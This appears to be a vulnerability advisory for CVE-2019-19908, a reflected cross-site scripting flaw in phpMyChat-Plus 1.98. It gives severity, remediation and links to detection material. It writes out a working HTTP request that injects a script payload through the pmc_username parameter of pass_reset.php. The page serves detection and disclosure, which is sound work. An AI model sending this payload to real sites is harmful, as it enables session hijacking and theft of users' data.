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CVE-2019-19908: phpMyChat-Plus 1.98 - Cross-Site Scripting

TitlephpMyChat-Plus 1.98 - Cross-Site Scripting
Authormadrobot
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade to a patched version of phpMyChat-Plus or apply the necessary security patches to mitigate the XSS vulnerability.
CVSS Score6.1
EPSS Score0.54847
CVE IDCVE-2019-19908
CWE IDCWE-79
Tags cve2019 cve phpMyChat xss ciprianmp vuln

🔍 Vulnerability Description

phpMyChat-Plus 1.98 contains a cross-site scripting vulnerability via pmc_username parameter of pass_reset.php in password reset URL.

🌐 HTTP Request

GET /plus/pass_reset.php?L=english&pmc_username=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-19908.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-19908.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A